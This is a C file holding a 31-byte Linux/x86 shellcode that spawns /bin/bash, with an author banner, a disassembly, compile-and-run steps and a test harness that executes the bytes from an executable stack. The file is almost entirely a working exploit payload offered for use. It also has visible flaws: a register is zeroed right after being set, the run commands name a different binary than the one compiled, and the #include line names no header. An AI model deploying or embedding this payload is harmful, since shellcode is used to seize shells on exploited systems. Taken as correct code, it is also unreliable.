/* --------------------------------------------------------------------------------------------------- Linux/x86 - execve(/bin/bash) - 31 bytes Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ] Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih Shaantih Shaantih | --------------------------------------------------------------------------------------------------- Disassembly of section .text: 08048060 <.text>: 8048060: b0 46 mov $0x46,%al 8048062: 31 c0 xor %eax,%eax 8048064: cd 80 int $0x80 8048066: eb 07 jmp 0x804806f 8048068: 5b pop %ebx 8048069: 31 c0 xor %eax,%eax 804806b: b0 0b mov $0xb,%al 804806d: cd 80 int $0x80 804806f: 31 c9 xor %ecx,%ecx 8048071: e8 f2 ff ff ff call 0x8048068 8048076: 2f das 8048077: 62 69 6e bound %ebp,0x6e(%ecx) 804807a: 2f das 804807b: 62 61 73 bound %esp,0x73(%ecx) 804807e: 68 .byte 0x68 --------------------------------------------------------------------------------------------------- How To Run $ gcc -o bash_shell bash_shell.c $ execstack -s local_bash $ ./ local_bash --------------------------------------------------------------------------------------------------- */ #include char sh[]="\xb0\x46\x31\xc0\xcd\x80\xeb\x07\x5b\x31\xc0\xb0\x0b\xcd\x80\x31\xc9\xe8\xf2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"; void main(int argc, char **argv) { int (*func)(); func = (int (*)()) sh; (int)(*func)(); }